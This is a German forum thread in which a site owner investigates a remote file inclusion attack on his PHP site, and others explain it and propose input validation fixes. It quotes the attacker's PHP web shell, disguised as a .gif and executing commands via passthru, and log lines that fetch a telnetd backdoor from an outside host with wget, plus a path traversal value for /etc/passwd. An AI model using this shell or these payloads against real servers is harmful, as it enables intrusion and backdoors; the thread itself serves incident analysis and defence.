• This forum has a zero tolerance policy regarding spam. If you register here to publish advertising, your user account will be deleted without further questions.

File Injection Bug

dio64596

Registered User
Hallo,
in der Statisitk für meine Website habe ich als Referer folgenden Link entdeckt:
.../index.php?submenu=http://membres.lycos.fr/forcextreme/dmd.gif&cmd=wget%20ht

die Variable submenu benutze ich selbst um eben ein Untermenü per include einzubinden. Nun hat wohl jemand versucht irgendwie Unfug zu treiben und eine eigene Seite einbinden lassen. Kann mir jemand genaueres sagen? Vor allem würde mich interessieren, ob Schaden angerichtet wurde, also z.B. Zugriff auf Dateien auf dem Server ermöglicht war o.ä.
Ich habe mir die Datei http://membres.lycos.fr/forcextreme/dmd.gif mal angeschaut. Für den Fall dass diese demnächst nicht mehr verfügbar ist, hier der Inhalt:
Code:
<font color="#808080"><br></font><font color="#008000"><center><b><font face="verdana" size="2">CMD</font></b> <font face="verdana" size="2"> - System CoManD<br><br></font></center></font><font face="Verdana" size="1"><font color="#008000"><br>
<b>#</b> CMD PHP : <h1>PHP SHELL</h1><br>
<b>#</b></b></font><br>
<br>
<br>
<hr color="#000000" width=80% height=115px>
<br>
<div align="center">
  <table border="1" cellpadding="0" cellspacing="0" width="633" height="17" bordercolorlight="#000080" bordercolordark="#000080">
    <tr>
      <td width="633" height="17">
<pre><font color="gray" font face="Tahoma" size="2">
<?
  // CMD - To Execute Command on File Injection Bug ( gif - jpg - txt )
  if (isset($chdir)) @chdir($chdir);
  ob_start();
   passthru("$cmd 1> /tmp/cmdtemp 2>&1; cat /tmp/cmdtemp; rm /tmp/cmdtemp");
  $output = ob_get_contents();
  ob_end_clean();
  if (!empty($output)) echo str_replace(">", "&gt;", str_replace("<", "&lt;", $output));
?>
</font></pre>
 </tr>
  </table>
</div>

<br>
<hr color="#000000" width=80% height=115px>
<p align="left">
<br>
<b> <font face="Verdana" size="1" color="#008000">PHP SHELL</font></b> <font face="Verdana" size="1" color="#008000"><br><b>
#<a href="mailto:PHPSHELL@bol.com.br">Contact
      Us</font></a></b><br><font face="Verdana" size="1" color="#008000"><b>#
:D </b>
</font>
 
Hallo dio!
Welchen injection bug meinst du denn? php,phpBB2,...?

mfG
Thorsten
 
wenn ich das so genau wüsste...
ich hab lediglich diesen verdächtigen referer entdeckt und dann den code von dieser "gif" datei mal angeschaut.
Mehr weiß ich nicht.

Die log Datei vom Webserver hätte ich noch. Hab mal meine domain zu einem h verkürzt. Sonst alles original aus der access_log
Code:
193.95.103.118 - - [08/Sep/2004:07:07:20 +0200] "GET /index.php?submenu=menu/menu_geschichte.php&content=data/geschichte.php HTTP/1.0" 200 5609 "http://www.google.fr/search?q=allinurl:+index.php%3Fmenu%3D*.php&hl=fr&lr=&ie=UTF-8&start=370&sa=N" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)"
193.95.103.118 - - [08/Sep/2004:07:07:27 +0200] "GET /index.php?submenu=http://membres.lycos.fr/forcextreme/dmd.gif&cmd=wget%20http://membres.lycos.fr/forcextreme/telnetd HTTP/1.0" 200 5450 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)"
193.95.103.118 - - [08/Sep/2004:07:07:30 +0200] "GET /inc/style.css HTTP/1.0" 200 1433 "http://www.h.de/index.php?submenu=http://membres.lycos.fr/forcextreme/dmd.gif&cmd=wget%20http://membres.lycos.fr/forcextreme/telnetd" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)"
193.95.103.118 - - [08/Sep/2004:07:07:32 +0200] "GET /images/header.gif HTTP/1.0" 200 15273 "http://www.h.de/index.php?submenu=http://membres.lycos.fr/forcextreme/dmd.gif&cmd=wget%20http://membres.lycos.fr/forcextreme/telnetd" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)"
193.95.103.118 - - [08/Sep/2004:07:07:33 +0200] "GET /images/h2001.jpg HTTP/1.0" 200 77336 "http://www.h.de/index.php?submenu=http://membres.lycos.fr/forcextreme/dmd.gif&cmd=wget%20http://membres.lycos.fr/forcextreme/telnetd" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)"
193.95.103.118 - - [08/Sep/2004:07:07:56 +0200] "GET /index.php?submenu=http://membres.lycos.fr/forcextreme/dmd.gif&cmd=ls HTTP/1.0" 200 5450 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)"
193.95.103.118 - - [08/Sep/2004:07:07:57 +0200] "GET /inc/style.css HTTP/1.0" 304 - "http://www.h.de/index.php?submenu=http://membres.lycos.fr/forcextreme/dmd.gif&cmd=ls" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)"
193.95.103.118 - - [08/Sep/2004:07:07:58 +0200] "GET /images/header.gif HTTP/1.0" 304 - "http://www.h.de/index.php?submenu=http://membres.lycos.fr/forcextreme/dmd.gif&cmd=ls" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)"
 
My_eGallery benutze ich nicht.
Danke schon mal für die links. werde sie mir gerade anschauen.

Also das script das ich benutze ist nen eigenes. Scheinbar nicht wirklich gut gesichert.
Ich binde das submenu einfach mit include($submenu); ein. Habe jetzt folgendes dazugemacht in der Hoffnung dass das Problem somit notdürftig beseitigt ist:
Code:
$submenu = substr($submenu,5);
$submenu = "menu/".$submenu;

Da meine submenu-Dateien alle im unterordner menu liegen sollte das dann nur noch bei meinen eigenen gehen und so ein angriff müsste dann abgewehrt werden.

Für Lösungsvorschläge wie das bessre geht bin ich dankbar.
 
Last edited by a moderator:
Hier scheint das Problem zu liegen:
Wenn "URL fopen wrappers" in PHP aktiviert sind (in der Standardkonfiguration ist das der Fall) können Sie als Pfad der einzubindenden Datei auch eine URL (via HTTP oder anderen unterstützen Wrappern - eine Liste der unterstützen Protokolle finden Sie unter Anhang L) statt einer lokalen Pfadangabe angeben. Falls der Zielserver die Zieldatei als PHP-Code interpretiert, können Sie an die einzubindende Datei Variablen in einem Request-String übergeben, genauso wie bei HTTP GET. Streng genommen ist das nicht das Gleiche, wie diese Datei einzubinden und diesem den Geltungsbereich des Vater-Skripts zu vererben; das Skript wird auf dem Remote-Server ausgeführt und danach wird das Ergebnis in das lokale Skript eingebunden.
Quelle : http://www.traum-projekt.com/forum/showthread.php?t=50433

mfG
Thorsten
 
dio64596 said:
wenn ich das so genau wüsste...
ich hab lediglich diesen verdächtigen referer entdeckt und dann den code von dieser "gif" datei mal angeschaut.
Mehr weiß ich nicht.

Die log Datei vom Webserver hätte ich noch. Hab mal meine domain zu einem h verkürzt. Sonst alles original aus der access_log
Code:
193.95.103.118 - - [08/Sep/2004:07:07:20 +0200] "GET /index.php?submenu=menu/menu_geschichte.php&content=data/geschichte.php HTTP/1.0" 200 5609 "http://www.google.fr/search?q=allinurl:+index.php%3Fmenu%3D*.php&hl=fr&lr=&ie=UTF-8&start=370&sa=N" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)"
193.95.103.118 - - [08/Sep/2004:07:07:27 +0200] "GET /index.php?submenu=http://membres.lycos.fr/forcextreme/dmd.gif&cmd=wget%20http://membres.lycos.fr/forcextreme/telnetd HTTP/1.0" 200 5450 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)"
193.95.103.118 - - [08/Sep/2004:07:07:30 +0200] "GET /inc/style.css HTTP/1.0" 200 1433 "http://www.h.de/index.php?submenu=http://membres.lycos.fr/forcextreme/dmd.gif&cmd=wget%20http://membres.lycos.fr/forcextreme/telnetd" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)"
193.95.103.118 - - [08/Sep/2004:07:07:32 +0200] "GET /images/header.gif HTTP/1.0" 200 15273 "http://www.h.de/index.php?submenu=http://membres.lycos.fr/forcextreme/dmd.gif&cmd=wget%20http://membres.lycos.fr/forcextreme/telnetd" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)"
193.95.103.118 - - [08/Sep/2004:07:07:33 +0200] "GET /images/h2001.jpg HTTP/1.0" 200 77336 "http://www.h.de/index.php?submenu=http://membres.lycos.fr/forcextreme/dmd.gif&cmd=wget%20http://membres.lycos.fr/forcextreme/telnetd" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)"
193.95.103.118 - - [08/Sep/2004:07:07:56 +0200] "GET /index.php?submenu=http://membres.lycos.fr/forcextreme/dmd.gif&cmd=ls HTTP/1.0" 200 5450 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)"
193.95.103.118 - - [08/Sep/2004:07:07:57 +0200] "GET /inc/style.css HTTP/1.0" 304 - "http://www.h.de/index.php?submenu=http://membres.lycos.fr/forcextreme/dmd.gif&cmd=ls" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)"
193.95.103.118 - - [08/Sep/2004:07:07:58 +0200] "GET /images/header.gif HTTP/1.0" 304 - "http://www.h.de/index.php?submenu=http://membres.lycos.fr/forcextreme/dmd.gif&cmd=ls" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)"

Ich vermute anhand deiner Infos und Logfile-Auszüge, dass der besagte Jemand eine Art Shell-Wrapper mit dem beschriebenen include() aufbauen wollte. Es scheint so als wollte der Kerl eine Backdoor auf deinem Server einrichten und dass passende Programm dazu runterladen ("wget http://.../telnetd"). Danach hat er versucht, Directory Listings ("ls") zu bekommen.

Wie gesagt, alles wilde Vermutungen. :)

Das wichtigste für dein weiteres Vorgehen wäre die Erweiterung deines Skriptes um sinnvolle Input Validation, genauer: das Prüfen der $submenu Variablen. Du kannst z.B. reguläre Ausdrücke verwenden, um sämtliche Werte deiner Variablen abzuweisen/zu korrigieren, die mit "http://" beginnen oder ".." bzw. "../.." enthalten.
 
Falls es dieses telnetd mit Originalnamen auf Deinem Server gibt, findest Du es wohl mit find / -name telnetd (oder einen Prozess dieser Art).

Der telnetd-Link ist momentan nicht mehr aktiv (habe versucht, das Ding herunterzuladen).

Die Seite selbst (...extremforce...) ist wohl ein Repository für web-uploadbare scripts, damit solche Versuche schlechter rückverfolgbar sind.

Ich vermute anhand deiner Infos und Logfile-Auszüge, dass der besagte Jemand eine Art Shell-Wrapper mit dem beschriebenen include() aufbauen wollte
Sehe ich auch so. Unterjubeln eines Wrappers in Deinen ausführbaren Code hinein. Dieser Wrapper wiederum kann über die cmd-Variable versuchen, bestimmte Befehle auszuführen. Ist m.E. aber etwas stümperhaft gemacht (Da werden doch subroutinen aufgerufen, die gar nicht existieren...). Der "Attacker" hat das Script wohl irgendwo geklaut. Wenn er wüsste, was er da will/macht, würde es m.E. etwas anders aussehen.

Edit/add: Nach einigem Googeln: Ziehe meine Behauptung zurück. Die wissen wohl doch, was sie machen. Da hat es eher mir an Wissen gefehlt :mad:
 
Last edited by a moderator:
das telnetd ding hab ich mir gesichert. falls das einer genauer anschauen will.
auf dem server finde ich mit find / -name telnetd nichts.

Die Vorgehensweise von dem Typ ist mir mittlerweile recht klar. Er hat in google.fr nach links gesucht die index.php?menu=*.php enthalten. da ist meine seite dann dabei.
Also hat er versucht über seine PHP Shell ls und wget ...telnetd aufzurufen. ob das geklappt hat weiß ich nicht so genau. wenn ich auf diese art ls aufrufen will sehe ich jedenfalls nichts. ich weiß aber auch nicht wo denn der output genau hingeht, sprich ob das theoretisch auf der website eingebaut werden sollte oder so.

die IP von der der Angriff ausgeführt wurde gehört übrigens zu einer Tunesischen Bank. Sollte ich denen irgendwie ne Mail schicken und den Vorfall melden?
 
Sodele
Eines vorweg, auch wenn es hart klingt: Einfach blind zu includen ist saudumm :)

Deine derzeitige Lösung hilft da auch nicht
Code:
$submenu = substr($submenu,5);
$submenu = "menu/".$submenu;
Da kann man immer noch fleissig ../../../../../../etc/passwd o.ä. übergeben -> nix gut.

Was nun bei dir schief gegangen ist:

Es wurde eine URL übergeben, welche von deinem Skript includet wurde, nämlich

http://membres.lycos.fr/forcextreme/dmd.gif

Hinter diesem "gif" ist jedoch ein HTML/PHP-Mix und kein Bild.

In diesem Skript wird nun per passthru ein Kommando ausgeführt:
Code:
wget http://membres.lycos.fr/forcextreme/telnetd > /tmp/cmdtemp 2>&1; cat /tmp/cmdtemp; rm /tmp/cmdtemp

Die Datei wurde also unter /tmp/cmdtemp gespeichert, mittels cat "ausgegeben" und dann wieder gelöscht (sofern dein rm keinen -f Parameter benötigt)

Direkten Schaden hat das Teil noch nicht angerichtet, doch wer weiss schon, was sonst noch kam?
 
mehr kam nicht. sofern die log datei nicht manipuliert wurde natürlich. aber da selbst das ausführen von ls nicht auf diese art funktioniert hat wird wohl nichts geschehen sein. ich habe das selbst getestet.
es wäre zwar möglich gewesen fremden code einzuschleusen. aber mit diesem beispiel hat es nicht funktioniert.
ich habe jetzt allow_url_fopen auf off gesetzt. damit ist meiner meinung volle sicherheit gegeben was fremden code betrifft.
für den hinweis dass weiterhin irgendwas auf meinem server included werden kann danke ich dir. werde ich noch ändern, auch wenn wie ich grad sehe nicht viel passieren kann da das auf dem server nicht erlaubt ist:

Warning: main(): open_basedir restriction in effect. File(./data/../../../../../etc/passwd) is not within the allowed path(s): (/var/www/web4/:/var/www/html/phpmyadmin/:/var/www/confixx/html/gesperrt/) in /var/www/web4/html/index.php on line 53
 
Last edited by a moderator:
PHP:
$submenu = substr($submenu, 0, 5)

würde funktionieren.

Besser wäre aber:

PHP:
$submenu = $_REQUEST['submenu'];

$files = array(
            "news" => "news.php",
            "download" => "download.php",
            "impressum" => "impressum.php",
            "links" => "links.php");

if (!isset($submenu) || !$files[$submenu] || !file_exists($files[$submenu]))
  include "main.php";
else
  include "$files[$submenu]";

Gruß
tim
 
miko93 said:
Ist m.E. aber etwas stümperhaft gemacht (Da werden doch subroutinen aufgerufen, die gar nicht existieren...).
Dachte ich anfangs auch; allerdings kann der vermeintliche Hacker auf seinem Server in besagter "gif-PHP-Datei" ja auch selber mittels include() etc. weitere Dateien einbinden. Beim Zugriff auf die gefakte Gif-Datei sehen wir ja auch nur deren fertig produzierten HTML-Output.

Oder liege ich hier falsch? Naja, es ist noch sehr früh am Morgen ;-)
 
Genau das ist das sicherheitstechnische Problem, warum register_globals auf off stehen sollte.

Steht es auf off kann man eben nicht mehr einfach Variablen "in" einem PHP-Skript von aussen erzeugen.

tim
 
Back
Top